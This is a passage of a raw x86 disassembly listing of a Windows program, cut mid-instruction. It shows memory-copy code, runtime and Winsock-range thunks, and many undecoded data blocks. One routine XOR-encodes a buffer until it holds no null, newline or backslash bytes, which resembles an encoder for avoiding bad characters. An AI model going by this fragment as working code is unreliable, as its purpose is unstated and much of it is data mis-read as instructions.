eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_4376F2 push ebx push ebp call eax add esp, 8 loc_4376F2: ; CODE XREF: ___:004376E9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_437734: ; CODE XREF: ___:004377ADj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_437774 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4377AF loc_437774: ; CODE XREF: ___:00437742j ; ___:00437752j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4377A6 loc_437799: ; CODE XREF: ___:004377A4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_437799 loc_4377A6: ; CODE XREF: ___:00437797j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_437734 ; --------------------------------------------------------------------------- loc_4377AF: ; CODE XREF: ___:00437772j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4378B0: ; CODE XREF: ___:0040191Fj push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_448B87+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43792D push ebx push ebp call eax add esp, 8 loc_43792D: ; CODE XREF: ___:00437924j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43796F: ; CODE XREF: ___:004379E8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4379AF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4379EA loc_4379AF: ; CODE XREF: ___:0043797Dj ; ___:0043798Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4379E1 loc_4379D4: ; CODE XREF: ___:004379DFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4379D4 loc_4379E1: ; CODE XREF: ___:004379D2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43796F ; --------------------------------------------------------------------------- loc_4379EA: ; CODE XREF: ___:004379ADj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_511AD0 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437AB8 proc near ; CODE XREF: SEH_403530+5j ; SEH_403720+5j ... jmp near ptr 77C227FAh sub_437AB8 endp ; --------------------------------------------------------------------------- db 0B3h, 2 dup(0CCh) byte_437AC0 db 90h ; DATA XREF: ___:off_43F004o ; ___:0043F018o ... db 0E9h, 47h, 0E4h dd 0E990777Fh, 777E444Ch, 18F5E990h ; --------------------------------------------------------------------------- jg short loc_437B49 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AD2 proc near ; CODE XREF: ___:00406C30p ; sub_406C50+11p ... nop jmp near ptr 77C29CDDh sub_437AD2 endp ; --------------------------------------------------------------------------- dd 80FFB3E9h, 7DE90C77h, 0AE778101h, 8101FCE9h ; --------------------------------------------------------------------------- ja short loc_437B65 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437AEA proc near ; CODE XREF: sub_406C80+47p ; ___:00406D1Ap ... nop jmp near ptr 77C29CC5h sub_437AEA endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0F1h, 99h db 7Eh, 77h, 8Bh ; --------------------------------------------------------------------------- loc_437AF7: ; CODE XREF: ___:loc_437B65j rol edi, 0 aam 0F1h inc ebx add dl, al add al, 0 loc_437B01: ; DATA XREF: ___:off_43F1D4o push esi mov esi, ecx call sub_437EBC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_437B17 push esi call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx loc_437B17: ; CODE XREF: ___:00437B0Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437B22 proc near ; CODE XREF: sub_409660+4Dp ; ___:0040AA7Dp nop jmp near ptr 77C226F6h sub_437B22 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 5Ch, 84h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_437B30 proc near ; CODE XREF: sub_40A110+5p ; sub_410030+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_437B50 loc_437B3C: ; CODE XREF: sub_437B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax loc_437B49: ; CODE XREF: ___:00437AD0j cmp eax, 1000h jnb short loc_437B3C loc_437B50: ; CODE XREF: sub_437B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_437B30 endp ; --------------------------------------------------------------------------- db 0CCh db 90h db 0E9h, 2 dup(0FAh) db 80h ; --------------------------------------------------------------------------- loc_437B65: ; CODE XREF: ___:00437AE8j ja short loc_437AF7 jmp near ptr 77C1CF90h ; --------------------------------------------------------------------------- db 90h db 0E9h, 4, 7Fh dd 0D9E97780h, 27780FEh, 2300E990h, 9DE97780h, 957780FDh dd 487DE990h, 3D83777Fh, 5109B4h, 0FF0C75FFh, 90042474h dd 7FD25BE8h, 68C35977h, 5109A4h, 5109B468h, 2474FF00h dd 310E80Ch, 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh dd 59C01BD8h, 0C348D8F7h, 7F464EE9h, 0E9909F77h, 777FF5E8h dd 7FF5FAE9h db 77h, 0EBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_437BDA proc near ; CODE XREF: sub_4199C0+28p jmp near ptr 77C4FA10h sub_437BDA endp ; --------------------------------------------------------------------------- db 0A9h ; =============== S U B R O U T I N E ======================================= sub_437BE0 proc near ; CODE XREF: sub_41B920+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_437C01 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_437C51 ; --------------------------------------------------------------------------- loc_437C01: ; CODE XREF: sub_437BE0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_437C0F: ; CODE XREF: sub_437BE0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C0F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_437C3A cmp edx, [esp+4+arg_4] ja short loc_437C3A jb short loc_437C42 cmp eax, [esp+4+arg_0] jbe short loc_437C42 loc_437C3A: ; CODE XREF: sub_437BE0+4Aj ; sub_437BE0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_437C42: ; CODE XREF: sub_437BE0+52j ; sub_437BE0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_437C51: ; CODE XREF: sub_437BE0+1Fj pop ebx retn 10h sub_437BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_437C60 proc near ; CODE XREF: sub_41B920+30p ; sub_41B920+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_437C82 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_437CC3 ; --------------------------------------------------------------------------- loc_437C82: ; CODE XREF: sub_437C60+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_437C90: ; CODE XREF: sub_437C60+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_437C90 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_437CBE cmp edx, [esp+8+arg_4] ja short loc_437CBE jb short loc_437CBF cmp eax, [esp+8+arg_0] jbe short loc_437CBF loc_437CBE: ; CODE XREF: sub_437C60+4Ej ; sub_437C60+54j dec esi loc_437CBF: ; CODE XREF: sub_437C60+56j ; sub_437C60+5Cj xor edx, edx mov eax, esi loc_437CC3: ; CODE XREF: sub_437C60+20j pop esi pop ebx retn 10h sub_437C60 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0E3h, 8Dh dd 0E9907780h, 7780733Ch, 187E990h, 97E97781h, 32778091h dd 9515E990h, 0E9907780h, 77809888h, 96AAE990h, 0E9907780h dd 77809A43h, 0FEE2E990h, 0E9907780h, 77809E6Eh, 8071EDE9h dd 4E91B77h, 0FF778091h, 43ADE990h, 46E9777Fh, 6C777E48h dd 7FF0D1E9h, 0E9900477h, 777FF4D2h, 7E758FE9h, 0E9904B77h dd 77807BFDh, 9B30E990h, 9CE97780h, 5A778026h, 25C1E990h dd 0C8E97780h, 2778113h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437D4C proc near ; CODE XREF: ___:0043297Cp nop jmp near ptr 77C3619Ch sub_437D4C endp ; --------------------------------------------------------------------------- dw 1DE9h dd 11777FF0h, 8E53E990h, 4517780h, 0F3E692C4h, 9853C12h dd 4F8EC480h, 5EC4D0E2h, 2D31D8BAh, 968E6DFAh, 0AD41E226h dd 5653917Ch, 0E8658957h, 5D89DB33h, 90026AFCh, 7FD5EBE8h dd 0D835977h, 5109A4h, 0B40D83FFh, 0FF005109h, 7435E890h dd 0D8B777Eh, 5108B4h, 0E8900889h, 777E73F0h, 8B00D8Bh dd 8890051h, 511A28A1h, 0A3008B00h, 510998h, 12EE8h, 0B01D3900h dd 7500448Ch, 7EF8680Ch, 96E80043h, 90778158h, 0FAE859h dd 18680000h, 68004444h, 444314h, 0E5E8h, 8ACA100h, 45890051h dd 94458D94h, 0A835FF50h, 8D005108h, 8D509C45h, 8D509045h dd 9050A045h, 7E70D2E8h, 42106877h, 680044h, 0E8004440h dd 0B2h, 0A124C483h, 511A38h, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22D8198h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 93E85353h, 9002439Dh dd 0A050E850h, 4589FFFCh, 0E8905098h, 77801FE2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 77801FDEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437EBC proc near ; CODE XREF: ___:00437B04p nop jmp near ptr 77C21868h sub_437EBC endp ; --------------------------------------------------------------------------- db 90h db 0E9h dword_437EC4 dd 777FCF89h, 801FCDE9h, 0E9902077h, 777FAEDAh, 7011E990h dd 0E990777Eh, 77801E87h, 3000068h, 6800h, 25E80001h, 59000000h dd 0E990C359h, 7781577Dh, 0C3C3C033h, 72A2E990h, 0D4E9777Eh dd 25777E72h, 0D46EE990h, 0E990777Fh, 777FDD80h, 6F15E990h dd 4CE97781h, 0FF75C684h, 8529E990h, 0E99075C6h, 75C5A102h dd 0C57554E9h, 0F9E90775h, 8875C684h, 0C4A02AE9h, 0E9909C75h dd 75C53908h, 0C5F766E9h, 0E990ED75h, 75C4DB94h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_437F50 proc near ; CODE XREF: sub_4193C0+17Ep nop jmp near ptr 76D6AC1Dh sub_437F50 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23A8BB4h, 3A8C0DE9h, 0E9907402h, 23B8098h, 84EBE990h dd 0E990023Bh, 23C808Ch, 3C910AE9h, 0E990C702h, 23D8080h dd 807AE990h, 0E990023Eh, 23E95F8h, 3E9836E9h, 0E9902F02h dd 23E9B7Bh, 9E44E990h, 0E990023Eh, 23F805Ch, 8673E990h dd 0E990023Fh, 23F899Ah, 40804BE9h, 0A1E9A602h, 7E02408Bh dd 41803FE9h, 0E9909502h, 2418314h, 8032E990h, 0E9900242h dd 243802Ch, 9187E990h, 0E9900243h, 2439C3Eh, 801AE990h dd 0EE90244h, 7E024488h, 8C7FE990h, 0E9900244h, 2458008h dd 836EE990h, 0E9900245h, 23A889Fh, 7FF6E990h, 0E990023Ah dd 2397FF0h, 87DCE990h, 0E5E90238h, 0DE02387Fh, 7FDEE990h dd 0E9900237h, 2368442h, 7FD2E990h, 0E9900236h, 2358B9Dh dd 3583BFE9h, 0E9908802h, 2358221h, 7FBAE990h, 0E990022Ch dd 23581ECh, 8193E990h, 96E90235h, 0D47C4C90h, 8FA7E990h dd 0E9907C4Ch, 2357F9Ch, 8D4AE990h, 0E9900234h, 2348740h dd 7F8AE990h, 56E90234h, 7602338Ah, 89E7E990h, 0C6E90233h dd 16023387h, 8663E990h, 0E9900233h, 2338440h, 338213E9h dd 0E9900C02h, 2337F60h, 8B9EE990h, 0E9900232h, 23288F3h dd 8571E990h, 0A5E90232h, 0DC023284h, 327F43E9h, 0E9902A02h dd 2318ADBh, 87FFE990h, 0F7E90231h, 28023185h, 82A3E990h dd 0E9900231h, 2317F24h, 889CE990h, 0E9900230h, 2308530h dd 84E3E990h, 0E9900230h, 2307F0Ch, 8C40E990h, 0E990022Fh dd 22F8955h, 8545E990h, 0F5E9022Fh, 0E022F7Eh, 2E8B7BE9h dd 0E9906702h, 22E8987h, 2E86A7E9h, 0E9905802h, 22E84FCh dd 7ED6E990h, 0E990022Eh, 22D7ED0h, 0F5C1E990h, 0E990001Bh dd 24589D9h, 9243E990h, 0E9900250h, 24C7EB8h, 7EB2E990h dd 0E9900250h, 24F804Fh, 7EA6E990h, 0E990024Fh, 24E7EA0h dd 863BE990h, 7DE9024Dh, 50024D82h, 7E8EE990h, 0E990024Dh dd 24C8830h, 85E3E990h, 0E990024Ch, 24C8384h, 7E76E990h dd 0E9900246h, 24B8B6Eh, 86E0E990h, 0E990024Bh, 24B82D9h dd 7E5EE990h, 59E9024Bh, 92024A7Eh, 7E52E990h, 51E90249h dd 0E6024899h, 9634E990h, 0E9900248h, 24893D1h, 4892B9E9h dd 0E990BB02h, 2487E34h, 477E2FE9h, 0E990AE02h, 7C608F38h dd 67BD64E9h db 71h, 0CAh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381DE proc near ; CODE XREF: ___:0042DBE1p nop jmp near ptr 71AB4FD4h sub_4381DE endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 8Fh, 62h db 68h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381EA proc near ; CODE XREF: sub_42DBD1+1p nop jmp near ptr 71AB2BF4h sub_4381EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4381F0 proc near ; CODE XREF: sub_42DF40+E5p ; sub_42EF60+4Fp jmp near ptr 71AB615Ah sub_4381F0 endp ; --------------------------------------------------------------------------- db 0F0h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381F6 proc near ; CODE XREF: sub_42E490+9Ap ; sub_42F040+45p ... nop jmp near ptr 71AB428Ah sub_4381F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4381FC proc near ; CODE XREF: sub_42F2C0+53p ; sub_42F2C0+96p ... nop jmp near ptr 71AB9639h sub_4381FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438202 proc near nop jmp near ptr 71AC1028h sub_438202 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438208 proc near ; CODE XREF: sub_42E170+71p ; sub_42ED50+50p nop jmp near ptr 71AB2DC0h sub_438208 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167A9ACh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438214 proc near nop jmp near ptr 71AB88D3h sub_438214 endp ; --------------------------------------------------------------------------- dw 47E9h dd 747167A9h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438220 proc near ; CODE XREF: sub_42E870+187p nop jmp near ptr 71AB951Eh sub_438220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438226 proc near nop jmp near ptr 71AB3E00h sub_438226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43822C proc near ; CODE XREF: sub_42DB00+B1p nop jmp near ptr 71AB2B66h sub_43822C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438232 proc near ; CODE XREF: ___:0042DC2Fp ; sub_42E870+152p jmp near ptr 71AB3B91h sub_438232 endp ; --------------------------------------------------------------------------- push eax ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438238 proc near nop jmp near ptr 71AB406Ah sub_438238 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167C1E4h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438244 proc near ; CODE XREF: sub_42DA80+10p nop jmp near ptr 71AB664Dh sub_438244 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7167CE78h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438250 proc near ; CODE XREF: sub_434BA0+Bp nop jmp near ptr 71AB94DCh sub_438250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438256 proc near ; CODE XREF: sub_41A7D0+92p ; sub_41A9C0+CAp ... nop jmp near ptr 71AB4544h sub_438256 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0EEh, 88h ; --------------------------------------------------------------------------- push 0B1E99071h retn 7167h ; --------------------------------------------------------------------------- dd 67A953E9h, 0E990E371h, 7167AA9Bh, 0A9EFE990h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43827A proc near jmp near ptr 71AB3EA1h sub_43827A endp ; --------------------------------------------------------------------------- db 37h db 90h db 0E9h, 0E3h, 4 dd 0FEE97168h, 0E7167C1h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_43828C proc near ; CODE XREF: sub_42DB00+53p ; sub_42DB00+C3p jmp near ptr 71ABE6EBh sub_43828C endp ; --------------------------------------------------------------------------- db 3Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_438292 proc near ; CODE XREF: sub_42F2C0+4Ap nop jmp near ptr 71AC0BDEh sub_438292 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_438298 proc near jmp near ptr 71AB2A5Eh sub_438298 endp ; --------------------------------------------------------------------------- dec ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_43829E proc near ; CODE XREF: ___:0041C2B7p ; ___:0041C2CCp nop jmp near ptr 71B2578Ch sub_43829E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382A4 proc near ; CODE XREF: ___:0041C40Dp ; ___:0041C42Fp nop jmp near ptr 71B25099h sub_4382A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382AA proc near ; CODE XREF: ___:00426390p jmp near ptr 71B2517Fh sub_4382AA endp ; --------------------------------------------------------------------------- db 11h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B0 proc near ; CODE XREF: sub_420090+B4p nop jmp near ptr 76BF215Ah sub_4382B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4382B6 proc near ; CODE XREF: sub_420090+9Bp nop jmp near ptr 76BF1F1Ch sub_4382B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382BC proc near ; CODE XREF: sub_420090+21p jmp near ptr 76BF3A9Ah sub_4382BC endp ; --------------------------------------------------------------------------- db 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4382C2 proc near ; CODE XREF: ___:0041B2B4p jmp near ptr 76F36C5Bh sub_4382C2 endp ; --------------------------------------------------------------------------- db 50h db 90h db 0E9h, 80h, 0DFh dword_4382CC dd 0E9907780h, 7780DE51h, 80DE97E9h, 41E97977h, 587780E0h dd 2C4h dup(0CCCCCCCCh), 0FB988D8Dh, 2BE9FFFFh, 8DFFFC84h dd 0FFFBC88Dh, 8420E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC8415E9h dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC840Ah, 0FB94858Bh, 0E083FFFFh dd 0FC08501h, 884h, 44D8B00h, 0FC83F1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403530 proc near ; DATA XREF: sub_403530+2o mov eax, offset dword_43F470 jmp sub_437AB8 SEH_403530 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_438E6B: ; DATA XREF: ___:0043F4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, 